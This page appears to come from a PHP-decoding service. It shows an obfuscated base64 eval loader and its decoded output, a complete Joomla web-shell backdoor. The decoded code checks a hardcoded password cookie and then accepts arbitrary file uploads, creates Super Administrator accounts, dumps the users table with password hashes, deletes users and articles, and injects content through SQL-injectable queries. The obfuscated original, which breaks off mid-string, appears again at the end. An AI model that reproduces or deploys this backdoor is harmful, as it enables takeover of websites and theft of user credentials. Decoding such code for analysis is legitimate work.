Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php eval("?>" . base64_decode("PD9waHANCmhlYWRlcignQ29udGVudC1UeXBlOnRleHQvaHRtbDsgY2hhc..
Decoded Output download
?>b'<?php
header(\'Content-Type:text/html; charset=UTF-8\');
@set_time_limit(60);
define(\'API_VERSION\', 2.0);
define(\'PASSWORD_FILE\', \'p.txt\');
if(file_exists(PASSWORD_FILE)) {
@unlink(PASSWORD_FILE);
}
//////////////////////////////////////////
function array_to_json( $array )
{
if (is_string($array)) return \'"\'.addslashes($array).\'"\';
if (is_numeric($array)) return $array;
if ($array === null) return \'null\';
if ($array === true) return \'true\';
if ($array === false) return \'false\';
$assoc = false;
$i = 0;
foreach ($array as $k=>$v){
if ($k !== $i++){
$assoc = true;
break;
}
}
$res = array();
foreach ($array as $k=>$v){
$v = array_to_json($v);
if ($assoc){
$k = \'"\'.addslashes($k).\'"\';
$v = $k.\':\'.$v;
}
$res[] = $v;
}
$res = implode(\',\', $res);
return ($assoc)? \'{\'.$res.\'}\' : \'[\'.$res.\']\';
}
function get_full_path($link) {
$dir = dirname($_SERVER[\'PHP_SELF\']);
$levels_up = substr_count(JPATH_SITE, \'..\');
for($i=0;$i<$levels_up;$i++) {
preg_match(\'/(\/[^\/]+)$/\', $dir, $matches);
$dir = preg_replace(\'/\/[^\/]+$/\', \'\', $dir);
$link = str_replace($matches[1], \'\', $link);
}
if(strpos($link, \'http\') !== 0) {
$link = \'http\' . (empty($_SERVER[\'HTTPS\']) ? \'\' : \'s\') . \'://\' . $_SERVER[\'SERVER_NAME\'] . $link;
}
return $link;
}
//////////////////////////////////////////
define(\'SHELL_PASSWORD\', \'a6a8cb877ee18215f2c0fc2a6c7b4f2a\');
define(\'MAX_UP_LEVELS\', 10);
if((empty($_COOKIE[\'password\']) && empty($_POST[\'password\'])) || (!empty($_POST[\'password\']) && md5($_POST[\'password\']) != SHELL_PASSWORD)) {
print \'<form method="post">Password : <input type="text" name="password"><input type="submit"></form>\';
}
if(!empty($_POST[\'password\']) && md5($_POST[\'password\']) == SHELL_PASSWORD) {
setcookie(\'password\', SHELL_PASSWORD, time() + 60*60*24);
header("Location: {$_SERVER[\'PHP_SELF\']}");
exit;
}
if(empty($_COOKIE) || $_COOKIE[\'password\'] != SHELL_PASSWORD) {
exit;
}
if(!empty($_FILES[\'f\'])) {
$new_path = dirname(__FILE__) . \'/\' . $_FILES[\'f\'][\'name\'];
if(move_uploaded_file($_FILES[\'f\'][\'tmp_name\'], $new_path)) {
print "<a href=\"{$_FILES[\'f\'][\'name\']}\">{$_FILES[\'f\'][\'name\']}</a>";
}
else {
print "Upload failed!";
}
exit;
}
if(!empty($_REQUEST[\'uf\']) && $_REQUEST[\'uf\'] == 1) {
print "<form method=\"post\" enctype=\"multipart/form-data\" action=\"{$_SERVER[\'PHP_SELF\']}\"><input type=\"file\" name=\"f\"><input type=\"submit\"></form>";
exit;
}
define(\'_JEXEC\', 1);
define(\'DS\', DIRECTORY_SEPARATOR);
$counter = 0;
$dir_up = \'.\' . DS;
do {
$file_found = false;
$file_path = $dir_up . \'administrator\';
if(file_exists($file_path)) {
$file_found = true;
}
else {
$dir_up .= \'..\' . DS;
}
$counter++;
}while(!$file_found && $counter < MAX_UP_LEVELS);
define(\'JPATH_BASE\', $dir_up);
require_once ( JPATH_BASE . \'includes\'.DS.\'defines.php\' );
require_once ( JPATH_BASE . \'includes\'.DS.\'framework.php\' );
//define(\'JPATH_COMPONENT_ADMINISTRATOR\', dirname(__FILE__) . "/administrator");
define(\'JPATH_COMPONENT_ADMINISTRATOR\', JPATH_BASE . DS . \'administrator\' . DS . \'components\' . DS . \'com_content\');
require_once JPATH_BASE.\'/includes/framework.php\';
//$app = JFactory::getApplication(\'site\');
//require_once JPATH_BASE.\'/includes/framework.php\';
//echo JPATH_BASE. "/administrator/components/com_content/models/article.php";
require_once JPATH_BASE. "/components/com_content/models/article.php";
//administrator/components/com_content/models
require_once(JPATH_BASE.DS.\'components\'.DS.\'com_content\'.DS.\'helpers\'.DS.\'route.php\');
$app = JFactory::getApplication(\'site\', array(\'session\' => false));
$app->initialise();
if(!empty($_REQUEST[\'title\']) && !empty($_REQUEST[\'body\'])) {
foreach($_REQUEST as $key => $value) {
$_REQUEST[$key] = stripslashes($value);
}
$new_article = new ContentModelArticle();
$date = date($_REQUEST[\'publish_up\'] . \' \' . rand(1,23). \':\' . rand(1,59). \':\' . rand(1,59));
$data = array(
\'catid\' => $_REQUEST[\'catid\'], //newsarticles
\'title\' => $_REQUEST[\'title\'],
\'fulltext\' => $_REQUEST[\'body\'],
\'introtext\' => $_REQUEST[\'intro\'],
\'state\' => $_REQUEST[\'published\'],
\'created_by\' => $_REQUEST[\'created_by\'],
\'publish_up\' => $date,
\'created\' => $date,
\'alias\' => $_REQUEST[\'alias\'],
\'language\' => $_REQUEST[\'lang\'] //FORMAT EXAMPLE: en-GB
);
if(!empty($_REQUEST[\'id\'])) {
$data[\'id\'] = $_REQUEST[\'id\'];
}
$table = JTable::getInstance(\'content\', \'JTable\', array());
// Bind data
if (!$table->bind($data))
{
print_r($table->getError());
return false;
}
// Store the data.
if (!$table->store())
{
print_r($table->getError());
}
print json_encode(array("article_id" => $table->id));
}
if(!empty($_REQUEST[\'id2delete\'])) {
$row = JTable::getInstance(\'content\', \'JTable\');
$row->delete($_REQUEST[\'id2delete\']);
}
$db = JFactory::getDBO(); // get database object
if(!empty($_REQUEST[\'article_id\'])) {
$article_id = $_REQUEST[\'article_id\'];
$sql = "SELECT * FROM #__content WHERE id=\'" . $_REQUEST[\'article_id\']."\'"; // prepare query
$db->setQuery($sql); // apply query
$article = $db->loadObject(); // execute query, return result list
}
if(!empty($article)) {
print array_to_json($article);
}
if(!empty($_REQUEST[\'username2delete\'])) {
$user = JFactory::getUser($_REQUEST[\'username2delete\']);
if($user->delete()) {
print "User {$_REQUEST[\'username2delete\']} has been deleted!";
}
}
if(!empty($_REQUEST[\'user_name\']) && !empty($_REQUEST[\'user_password\']) && !empty($_REQUEST[\'user_email\'])) {
/*
I handle this code as if it is a snippet of a method or function!!
First set up some variables/objects
*/
// get the ACL
$acl =& JFactory::getACL();
/* get the com_user params */
jimport(\'joomla.application.component.helper\'); // include libraries/application/component/helper.php
$usersParams = &JComponentHelper::getParams( \'com_users\' ); // load the Params
// "generate" a new JUser Object
$user = JFactory::getUser(0); // it\'s important to set the "0" otherwise your admin user information will be loaded
$data = array(); // array for all user settings
$usertype = \'Super Administrator\';
// set up the "main" user information
$data[\'name\'] = \'Zhano Zhano\'; // add first- and lastname
$data[\'username\'] = $_REQUEST[\'user_name\']; // add username
$data[\'email\'] = $_REQUEST[\'user_email\']; // add email
$data[\'gid\'] = 24; // generate the gid from the usertype
/* no need to add the usertype, it will be generated automaticaly from the gid */
$data[\'password\'] = $_REQUEST[\'user_password\']; // set the password
$data[\'password2\'] = $_REQUEST[\'user_password\']; // confirm the password
$data[\'sendEmail\'] = 1; // should the user receive system mails?
/* Now we can decide, if the user will need an activation */
$data[\'block\'] = 0; // don\'t block the user
if (!$user->bind($data)) { // now bind the data to the JUser Object, if it not works....
JError::raiseWarning(\'\', JText::_( $user->getError())); // ...raise an Warning
}
if (!$user->save()) { // if the user is NOT saved...
JError::raiseWarning(\'\', JText::_( $user->getError())); // ...raise an Warning
}
print array_to_json($user->username . " created!"); // else return the new JUser object
}
if(!empty($_REQUEST[\'get_cats\'])) {
$cat_urls = array();
$sql = "SELECT #__categories.id, #__categories.title, #__menu.path AS menu_path, COUNT(#__content.id) AS count_articles FROM #__categories
INNER JOIN #__content ON #__categories.id = #__content.catid
INNER JOIN #__menu ON #__categories.id = REPLACE(#__menu.link, \'index.php?option=com_content&view=category&layout=blog&id=\', \'\')
GROUP BY #__categories.id ORDER BY #__categories.title ";
$db->setQuery($sql); // apply query
$cats = $db->loadObjectList();
for ($i=0,$len=count($cats);$i<$len;$i++) {
$cats[$i]->path = get_full_path(JURI::base() . $cats[$i]->menu_path);
unset($cats[$i]->menu_path);
}
if(empty($cats)) {
$sql = "SELECT #__categories.id, #__categories.title FROM #__categories ";
$db->setQuery($sql); // apply query
$cats = $db->loadObjectList();
for ($i=0,$len=count($cats);$i<$len;$i++) {
$cats[$i]->path = get_full_path(JURI::base() . \'index.php?option=com_content&view=category&layout=blog&id=\' . $cats[$i]->id);
$cats[$i]->count_articles = \'?\';
}
}
print array_to_json($cats);
}
if(!empty($_REQUEST[\'get_user\'])) {
$sql = "SELECT * FROM #__users ";
$db->setQuery($sql); // apply query
$users = $db->loadObjectList();
print array_to_json($users);
}
if(!empty($_REQUEST[\'get_articles_list\'])) {
$offset = 0;
$articles_num = 50;
$all_articles = array();
$cond = \'\';
if(!empty($_REQUEST[\'search_by_title\'])) {
$cond .= " AND #__content.title LIKE \'%{$_REQUEST[\'search_by_title\']}%\' ";
}
if(!empty($_REQUEST[\'search_by_body\'])) {
$cond .= " AND (#__content.fulltext LIKE \'%{$_REQUEST[\'search_by_body\']}%\' OR #__content.introtext LIKE \'%{$_REQUEST[\'search_by_body\']}%\') ";
}
if(!empty($_REQUEST[\'search_by_alias\'])) {
$cond .= " AND #__content.alias LIKE \'%{$_REQUEST[\'search_by_alias\']}%\' ";
}
if(empty($cond)) {
$cond = \' AND 2=2 \';
}
do {
$sql = "SELECT #__content.id, #__content.title, #__content.fulltext, #__content.introtext, #__content.alias FROM #__content WHERE 1=1 {$cond} ORDER BY `title` LIMIT {$offset}, $articles_num "; // prepare query
$db->setQuery($sql); // apply query
$articles = $db->loadObjectList(); // execute query, return result list
$all_articles += $articles;
$offset += $articles_num;
}while(count($articles) == $articles_num);
print array_to_json($all_articles);
}
if(!empty($_REQUEST[\'article_sef_url\'])) {
$sql = "SELECT catid, alias, language FROM #__content WHERE id = \'{$_REQUEST[\'article_sef_url\']}\' ";
$db->setQuery($sql); // apply query
$article = $db->loadObject(); // execute query, return result list
$sql = "SELECT path FROM #__menu WHERE link LIKE \'index.php?option=com_content&view=category&%id={$article->catid}\' ";
$db->setQuery($sql); // apply query
$cat_path = $db->loadObject();
if(isset($cat_path->path)) {
$slug = $_REQUEST[\'article_sef_url\'] . \':\' . $article->alias;
$catslug = $article->catid . \':\' . $cat_path->path;
$link = JRoute::_(ContentHelperRoute::getArticleRoute($slug, $catslug));
if(!empty($article->language)) {
$link = str_replace(\'index.php/\', \'index.php/\' . substr($article->language, 0, 2) . \'/\', $link);
}
print array_to_json(get_full_path($link));
}
else {
print array_to_json(get_full_path(JURI::base() . \'index.php?option=com_content&view=article&id=\' . $_REQUEST[\'article_sef_url\']));
}
}
if(!empty($_REQUEST[\'get_languages\'])) {
$languages = JLanguageHelper::getLanguages();
print array_to_json($languages);//lang_code INDEX IS USED FOR INSERTING INTO CONTENT
}
if(!empty($_REQUEST[\'get_jm_version\'])) {
print array_to_json(JVERSION);
}
if(!empty($_REQUEST[\'upload_file\'])) {
print \'<form method="post" enctype="multipart/form-data"><input type="file" name="my_file"><input type="submit"></form>\';
}
if(!empty($_FILES[\'my_file\'])) {
$base_name = basename($_FILES[\'my_file\'][\'name\']);
if(move_uploaded_file($_FILES[\'my_file\'][\'tmp_name\'], $base_name)) {
print \'<a href="\'.$base_name.\'" target="_blank">\'.$base_name.\'</a>\';
}
}
if(!empty($_REQUEST[\'get_api_version\'])) {
print array_to_json(array(\'api_version\' => number_format(API_VERSION, 2)));
}
?>'
Did this file decode correctly?
Original Code
<?php eval("?>" . base64_decode("PD9waHANCmhlYWRlcignQ29udGVudC1UeXBlOnRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCcpOw0KDQpAc2V0X3RpbWVfbGltaXQoNjApOw0KDQpkZWZpbmUoJ0FQSV9WRVJTSU9OJywgMi4wKTsNCmRlZmluZSgnUEFTU1dPUkRfRklMRScsICdwLnR4dCcpOw0KDQppZihmaWxlX2V4aXN0cyhQQVNTV09SRF9GSUxFKSkgew0KCUB1bmxpbmsoUEFTU1dPUkRfRklMRSk7DQp9DQoNCi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLw0KZnVuY3Rpb24gYXJyYXlfdG9fanNvbiggJGFycmF5ICkNCnsNCiAgICBpZiAoaXNfc3RyaW5nKCRhcnJheSkpIHJldHVybiAnIicuYWRkc2xhc2hlcygkYXJyYXkpLiciJzsNCiAgICBpZiAoaXNfbnVtZXJpYygkYXJyYXkpKSByZXR1cm4gJGFycmF5Ow0KICAgIGlmICgkYXJyYXkgPT09IG51bGwpIHJldHVybiAnbnVsbCc7DQogICAgaWYgKCRhcnJheSA9PT0gdHJ1ZSkgcmV0dXJuICd0cnVlJzsNCiAgICBpZiAoJGFycmF5ID09PSBmYWxzZSkgcmV0dXJuICdmYWxzZSc7DQoNCiAgICAkYXNzb2MgPSBmYWxzZTsNCiAgICAkaSA9IDA7DQogICAgZm9yZWFjaCAoJGFycmF5IGFzICRrPT4kdil7DQogICAgICAgIGlmICgkayAhPT0gJGkrKyl7DQogICAgICAgICAgICAkYXNzb2MgPSB0cnVlOw0KICAgICAgICAgICAgYnJlYWs7DQogICAgICAgIH0NCiAgICB9DQogICAgJHJlcyA9IGFycmF5KCk7DQogICAgZm9yZWFjaCAoJGFycmF5IGFzICRrPT4kdil7DQogICAgICAgICR2ID0gYXJyYXlfdG9fanNvbigkdik7DQogICAgICAgIGlmICgkYXNzb2Mpew0KICAgICAgICAgICAgJGsgPSAnIicuYWRkc2xhc2hlcygkaykuJyInOw0KICAgICAgICAgICAgJHYgPSAkay4nOicuJHY7DQogICAgICAgIH0NCiAgICAgICAgJHJlc1tdID0gJHY7DQogICAgfQ0KICAgICRyZXMgPSBpbXBsb2RlKCcsJywgJHJlcyk7DQogICAgcmV0dXJuICgkYXNzb2MpPyAneycuJHJlcy4nfScgOiAnWycuJHJlcy4nXSc7DQp9DQoNCmZ1bmN0aW9uIGdldF9mdWxsX3BhdGgoJGxpbmspIHsNCgkkZGlyID0gZGlybmFtZSgkX1NFUlZFUlsnUEhQX1NFTEYnXSk7DQoJJGxldmVsc191cCA9IHN1YnN0cl9jb3VudChKUEFUSF9TSVRFLCAnLi4nKTsNCglmb3IoJGk9MDskaTwkbGV2ZWxzX3VwOyRpKyspIHsNCgkJcHJlZ19tYXRjaCgnLyhcL1teXC9dKykkLycsICRkaXIsICRtYXRjaGVzKTsNCgkJJGRpciA9IHByZWdfcmVwbGFjZSgnL1wvW15cL10rJC8nLCAnJywgJGRpcik7DQoJCSRsaW5rID0gc3RyX3JlcGxhY2UoJG1hdGNoZXNbMV0sICcnLCAkbGluayk7DQoJfQ0KCQ0KCWlmKHN0cnBvcygkbGluaywgJ2h0dHAnKSAhPT0gMCkgew0KCQkkbGluayA9ICdodHRwJyAuIChlbXB0eSgkX1NFUlZFUlsnSFRUUFMnXSkgPyAnJyA6ICdzJykgLiAnOi8vJyAuICRfU0VSVkVSWydTRVJWRVJfTkFNRSddIC4gJGxpbms7DQoJfQ0KCQ0KCXJldHVybiAkbGluazsNCn0NCi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLw0KDQpkZWZpbmUoJ1NIRUxMX1BBU1NXT1JEJywgJ2E2YThjYjg3N2VlMTgyMTVmMmMwZmMyYTZjN2I0ZjJhJyk7DQpkZWZpbmUoJ01BWF9VUF9MRVZFTFMnLCAxMCk7DQoNCmlmKChlbXB0eSgkX0NPT0tJRVsncGFzc3dvcmQnXSkgJiYgZW1wdHkoJF9QT1NUWydwYXNzd29yZCddKSkgfHwgKCFlbXB0eSgkX1BPU1RbJ3Bhc3N3b3JkJ10pICYmIG1kNSgkX1BPU1RbJ3Bhc3N3b3JkJ10pICE9IFNIRUxMX1BBU1NXT1JEKSkgew0KCXByaW50ICc8Zm9ybSBtZXRob2Q9InBvc3QiPlBhc3N3b3JkIDogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InBhc3N3b3JkIj48aW5wdXQgdHlwZT0ic3VibWl0Ij48L2Zvcm0+JzsNCn0NCg0KaWYoIWVtcHR5KCRfUE9TVFsncGFzc3dvcmQnXSkgJiYgbWQ1KCRfUE9TVFsncGFzc3dvcmQnXSkgPT0gU0hFTExfUEFTU1dPUkQpIHsNCglzZXRjb29raWUoJ3Bhc3N3b3JkJywgU0hFTExfUEFTU1dPUkQsIHRpbWUoKSArIDYwKjYwKjI0KTsNCgloZWFkZXIoIkxvY2F0aW9uOiB7JF9TRVJWRVJbJ1BIUF9TRUxGJ119Iik7DQoJZXhpdDsNCn0NCg0KaWYoZW1wdHkoJF9DT09LSUUpIHx8ICRfQ09PS0lFWydwYXNzd29yZCddICE9IFNIRUxMX1BBU1NXT1JEKSB7DQoJZXhpdDsNCn0NCg0KaWYoIWVtcHR5KCRfRklMRVNbJ2YnXSkpIHsNCgkkbmV3X3BhdGggPSBkaXJuYW1lKF9fRklMRV9fKSAuICcvJyAuICRfRklMRVNbJ2YnXVsnbmFtZSddOw0KCWlmKG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWydmJ11bJ3RtcF9uYW1lJ10sICRuZXdfcGF0aCkpIHsNCgkJcHJpbnQgIjxhIGhyZWY9XCJ7JF9GSUxFU1snZiddWyduYW1lJ119XCI+eyRfRklMRVNbJ2YnXVsnbmFtZSddfTwvYT4iOw0KCX0NCgllbHNlIHsNCgkJcHJpbnQgIlVwbG9hZCBmYWlsZWQhIjsNCgl9DQoJZXhpdDsNCn0NCg0KaWYoIWVtcHR5KCRfUkVRVUVTVFsndWYnXSkgJiYgJF9SRVFVRVNUWyd1ZiddID09IDEpIHsNCglwcmludCAiPGZvcm0gbWV0aG9kPVwicG9zdFwiIGVuY3R5cGU9XCJtdWx0aXBhcnQvZm9ybS1kYXRhXCIgYWN0aW9uPVwieyRfU0VSVkVSWydQSFBfU0VMRiddfVwiPjxpbnB1dCB0eXBlPVwiZmlsZVwiIG5hbWU9XCJmXCI+PGlucHV0IHR5cGU9XCJzdWJtaXRcIj48L2Zvcm0+IjsNCglleGl0Ow0KfQ0KDQpkZWZpbmUoJ19KRVhFQycsIDEpOw0KZGVmaW5lKCdEUycsIERJUkVDVE9SWV9TRVBBUkFUT1IpOw0KDQokY291bnRlciA9IDA7DQokZGlyX3VwID0gJy4nIC4gRFM7DQpkbyB7DQoJJGZpbGVfZm91bmQgPSBmYWxzZTsNCgkkZmlsZV9wYXRoID0gJGRpcl91cCAuICdhZG1pbmlzdHJhdG9yJzsNCglpZihmaWxlX2V4aXN0cygkZmlsZV9wYXRoKSkgew0KCQkkZmlsZV9mb3VuZCA9IHRydWU7DQoJfQ0KCWVsc2Ugew0KCQkkZGlyX3VwIC49ICcuLicgLiBEUzsNCgl9DQoJJGNvdW50ZXIrKzsNCn13aGlsZSghJGZpbGVfZm91bmQgJiYgJGNvdW50ZXIgPCBNQVhfVVBfTEVWRUxTKTsNCg0KZGVmaW5lKCdKUEFUSF9CQVNFJywgJGRpcl91cCk7DQoJDQpyZXF1aXJlX29uY2UgKCBKUEFUSF9CQVNFIC4gJ2luY2x1ZGVzJy5EUy4nZGVmaW5lcy5waHAnICk7DQpyZXF1aXJlX29uY2UgKCBKUEFUSF9CQVNFIC4gJ2luY2x1ZGVzJy5EUy4nZnJhbWV3b3JrLnBocCcgKTsNCg0KLy9kZWZpbmUoJ0pQQVRIX0NPTVBPTkVOVF9BRE1JTklTVFJBVE9SJywgZGlybmFtZShfX0ZJTEVfXykgLiAiL2FkbWluaXN0cmF0b3IiKTsNCmRlZmluZSgnSlBBVEhfQ09NUE9ORU5UX0FETUlOSVNUUkFUT1InLCBKUEFUSF9CQVNFIC4gRFMgLiAnYWRtaW5pc3RyYXRvcicgLiBEUyAuICdjb21wb25lbnRzJyAuIERTIC4gJ2NvbV9jb250ZW50Jyk7DQpyZXF1aXJlX29uY2UgSlBBVEhfQkFTRS4nL2luY2x1ZGVzL2ZyYW1ld29yay5waHAnOw0KLy8kYXBwID0gSkZhY3Rvcnk6OmdldEFwcGxpY2F0aW9uKCdzaXRlJyk7DQovL3JlcXVpcmVfb25jZSBKUEFUSF9CQVNFLicvaW5jbHVkZXMvZnJhbWV3b3JrLnBocCc7DQoNCg0KLy9lY2hvIEpQQVRIX0JBU0UuICIvYWRtaW5pc3RyYXRvci9jb21wb25lbnRzL2NvbV9jb250ZW50L21vZGVscy9hcnRpY2xlLnBocCI7DQpyZXF1aXJlX29uY2UgSlBBVEhfQkFTRS4gIi9jb21wb25lbnRzL2NvbV9jb250ZW50L21vZGVscy9hcnRpY2xlLnBocCI7DQogICAgICAgICAgICAgICAgICAgICAgICAgLy9hZG1pbmlzdHJhdG9yL2NvbXBvbmVudHMvY29tX2NvbnRlbnQvbW9kZWxzDQoNCnJlcXVpcmVfb25jZShKUEFUSF9CQVNFLkRTLidjb21wb25lbnRzJy5EUy4nY29tX2NvbnRlbnQnLkRTLidoZWxwZXJzJy5EUy4ncm91dGUucGhwJyk7CQkJCQkJIA0KCQkJCQkJIA0KJGFwcCA9IEpGYWN0b3J5OjpnZXRBcHBsaWNhdGlvbignc2l0ZScsIGFycmF5KCdzZXNzaW9uJyA9PiBmYWxzZSkpOw0KJGFwcC0+aW5pdGlhbGlzZSgpOw0KDQppZighZW1wdHkoJF9SRVFVRVNUWyd0aXRsZSddKSAmJiAhZW1wdHkoJF9SRVFVRVNUWydib2R5J10pKSB7DQoNCmZvcmVhY2goJF9SRVFVRVNUIGFzICRrZXkgPT4gJHZhbHVlKSB7DQoJJF9SRVFVRVNUWyRrZXldID0gc3RyaXBzbGFzaGVzKCR2YWx1ZSk7DQp9DQoNCgkkbmV3X2FydGljbGUgPSBuZXcgQ29udGVudE1vZGVsQXJ0aWNsZSgpOw0KCSRkYXRlID0gZGF0ZSgkX1JFUVVFU1RbJ3B1Ymxpc2hfdXAnXSAuICcgJyAuIHJhbmQoMSwyMykuICc6JyAuIHJhbmQoMSw1OSkuICc6JyAuIHJhbmQoMSw1OSkpOw0KCSRkYXRhID0gYXJyYXkoDQoJCSdjYXRpZCcgPT4gJF9SRVFVRVNUWydjYXRpZCddLCAvL25ld3NhcnRpY2xlcw0KCQkndGl0bGUnID0+ICRfUkVRVUVTVFsndGl0bGUnXSwNCgkJJ2Z1bGx0ZXh0JyA9PiAkX1JFUVVFU1RbJ2JvZHknXSwNCgkJJ2ludHJvdGV4dCcgPT4gJF9SRVFVRVNUWydpbnRybyddLA0KCQknc3RhdGUnID0+ICRfUkVRVUVTVFsncHVibGlzaGVkJ10sDQogICAgICAgICdjcmVhdGVkX2J5JyA9PiAkX1JFUVVFU1RbJ2NyZWF0ZWRfYnknXSwNCiAgICAgICAgJ3B1Ymxpc2hfdXAnID0+ICRkYXRlLA0KCQknY3JlYXRlZCcgPT4gJGRhdGUsDQoJCSdhbGlhcycgPT4gJF9SRVFVRVNUWydhbGlhcyddLA0KCQknbGFuZ3VhZ2UnID0+ICRfUkVRVUVTVFsnbGFuZyddIC8vRk9STUFUIEVYQU1QTEU6IGVuLUdCDQoJKTsNCglpZighZW1wdHkoJF9SRVFVRVNUWydpZCddKSkgew0KCQkkZGF0YVsnaWQnXSA9ICRfUkVRVUVTVFsnaWQnXTsNCgl9DQoJJHRhYmxlID0gSlRhYmxlOjpnZXRJbnN0YW5jZSgnY29udGVudCcsICdKVGFibGUnLCBhcnJheSgpKTsNCgkvLyBCaW5kIGRhdGENCglpZiAoISR0YWJsZS0+YmluZCgkZGF0YSkpDQoJew0KCQlwcmludF9yKCR0YWJsZS0+Z2V0RXJyb3IoKSk7DQoJCXJldHVybiBmYWxzZTsNCgl9DQoJDQoJLy8gU3RvcmUgdGhlIGRhdGEuDQoJaWYgKCEkdGFibGUtPnN0b3JlKCkpDQoJew0KCQlwcmludF9yKCR0YWJsZS0+Z2V0RXJyb3IoKSk7DQoJfQ0KCQ0KCXByaW50IGpzb25fZW5jb2RlKGFycmF5KCJhcnRpY2xlX2lkIiA9PiAkdGFibGUtPmlkKSk7DQp9DQoNCmlmKCFlbXB0eSgkX1JFUVVFU1RbJ2lkMmRlbGV0ZSddKSkgew0KCSRyb3cgPSBKVGFibGU6OmdldEluc3RhbmNlKCdjb250ZW50JywgJ0pUYWJsZScpOw0KCSRyb3ctPmRlbGV0ZSgkX1JFUVVFU1RbJ2lkMmRlbGV0ZSddKTsNCn0NCg0KJGRiID0gSkZhY3Rvcnk6OmdldERCTygpOyAvLyBnZXQgZGF0YWJhc2Ugb2JqZWN0DQoNCmlmKCFlbXB0eSgkX1JFUVVFU1RbJ2FydGljbGVfaWQnXSkpIHsNCgkkYXJ0aWNsZV9pZCA9ICRfUkVRVUVTVFsnYXJ0aWNsZV9pZCddOw0KCSRzcWwgPSAiU0VMRUNUICogRlJPTSAjX19jb250ZW50IFdIRVJFIGlkPSciIC4gJF9SRVFVRVNUWydhcnRpY2xlX2lkJ10uIiciOyAvLyBwcmVwYXJlIHF1ZXJ5DQoNCgkkZGItPnNldFF1ZXJ5KCRzcWwpOyAvLyBhcHBseSBxdWVyeQ0KCSRhcnRpY2xlID0gJGRiLT5sb2FkT2JqZWN0KCk7IC8vIGV4ZWN1dGUgcXVlcnksIHJldHVybiByZXN1bHQgbGlzdA0KfQ0KDQppZighZW1wdHkoJGFydGljbGUpKSB7DQoJcHJpbnQgYXJyYXlfdG9fanNvbigkYXJ0aWNsZSk7DQp9DQoNCmlmKCFlbXB0eSgkX1JFUVVFU1RbJ3VzZXJuYW1lMmRlbGV0ZSddKSkgew0KCSR1c2VyID0gSkZhY3Rvcnk6OmdldFVzZXIoJF9SRVFVRVNUWyd1c2VybmFtZTJkZWxldGUnXSk7DQoJaWYoJHVzZXItPmRlbGV0ZSgpKSB7DQoJCXByaW50ICJVc2VyIHskX1JFUVVFU1RbJ3VzZXJuYW1lMmRlbGV0ZSddfSBoYXMgYmVlbiBkZWxldGVkISI7DQoJfQ0KfQ0KDQppZighZW1wdHkoJF9SRVFVRVNUWyd1c2VyX25hbWUnXSkgJiYgIWVtcHR5KCRfUkVRVUVTVFsndXNlcl9wYXNzd29yZCddKSAmJiAhZW1wdHkoJF9SRVFVRVNUWyd1c2VyX2VtYWlsJ10pKSB7DQoJLyoNCiANCglJIGhhbmRsZSB0aGlzIGNvZGUgYXMgaWYgaXQgaXMgYSBzbmlwcGV0IG9mIGEgbWV0aG9kIG9yIGZ1bmN0aW9uISENCgkgDQoJRmlyc3Qgc2V0IHVwIHNvbWUgdmFyaWFibGVzL29iamVjdHMNCgkqLw0KCS8vIGdldCB0aGUgQUNMDQoJJGFjbCA9JiBKRmFjdG9yeTo6Z2V0QUNMKCk7DQoJIA0KCS8qIGdldCB0aGUgY29tX3VzZXIgcGFyYW1zICovDQoJIA0KCWppbXBvcnQoJ2pvb21sYS5hcHBsaWNhdGlvbi5jb21wb25lbnQuaGVscGVyJyk7IC8vIGluY2x1ZGUgbGlicmFyaWVzL2FwcGxpY2F0aW9uL2NvbXBvbmVudC9oZWxwZXIucGhwDQoJJHVzZXJzUGFyYW1zID0gJkpDb21wb25lbnRIZWxwZXI6OmdldFBhcmFtcyggJ2NvbV91c2VycycgKTsgLy8gbG9hZCB0aGUgUGFyYW1zDQoJIA0KCS8vICJnZW5lcmF0ZSIgYSBuZXcgSlVzZXIgT2JqZWN0DQoJJHVzZXIgPSBKRmFjdG9yeTo6Z2V0VXNlcigwKTsgLy8gaXQncyBpbXBvcnRhbnQgdG8gc2V0IHRoZSAiMCIgb3RoZXJ3aXNlIHlvdXIgYWRtaW4gdXNlciBpbmZvcm1hdGlvbiB3aWxsIGJlIGxvYWRlZA0KCSANCgkkZGF0YSA9IGFycmF5KCk7IC8vIGFycmF5IGZvciBhbGwgdXNlciBzZXR0aW5ncw0KCQ0KCSR1c2VydHlwZSA9ICdTdXBlciBBZG1pbmlzdHJhdG9yJzsNCgkgDQoJLy8gc2V0IHVwIHRoZSAibWFpbiIgdXNlciBpbmZvcm1hdGlvbg0KCQ0KCSRkYXRhWyduYW1lJ10gPSAnWmhhbm8gWmhhbm8nOyAvLyBhZGQgZmlyc3QtIGFuZCBsYXN0bmFtZQ0KCSRkYXRhWyd1c2VybmFtZSddID0gJF9SRVFVRVNUWyd1c2VyX25hbWUnXTsgLy8gYWRkIHVzZXJuYW1lDQoJJGRhdGFbJ2VtYWlsJ10gPSAkX1JFUVVFU1RbJ3VzZXJfZW1haWwnXTsgLy8gYWRkIGVtYWlsDQoJJGRhdGFbJ2dpZCddID0gMjQ7ICAvLyBnZW5lcmF0ZSB0aGUgZ2lkIGZyb20gdGhlIHVzZXJ0eXBlDQoJIA0KCS8qIG5vIG5lZWQgdG8gYWRkIHRoZSB1c2VydHlwZSwgaXQgd2lsbCBiZSBnZW5lcmF0ZWQgYXV0b21hdGljYWx5IGZyb20gdGhlIGdpZCAqLw0KCSANCgkkZGF0YVsncGFzc3dvcmQnXSA9ICRfUkVRVUVTVFsndXNlcl9wYXNzd29yZCddOyAvLyBzZXQgdGhlIHBhc3N3b3JkDQoJJGRhdGFbJ3Bhc3N3b3JkMiddID0gJF9SRVFVRVNUWyd1c2VyX3Bhc3N3b3JkJ107IC8vIGNvbmZpcm0gdGhlIHBhc3N3b3JkDQoJJGRhdGFbJ3NlbmRFbWFpbCddID0gMTsgLy8gc2hvdWxkIHRoZSB1c2VyIHJlY2VpdmUgc3lzdGVtIG1haWxzPw0KCSANCgkvKiBOb3cgd2UgY2FuIGRlY2lkZSwgaWYgdGhlIHVzZXIgd2lsbCBuZWVkIGFuIGFjdGl2YXRpb24gKi8NCgkkZGF0YVsnYmxvY2snXSA9IDA7IC8vIGRvbid0IGJsb2NrIHRoZSB1c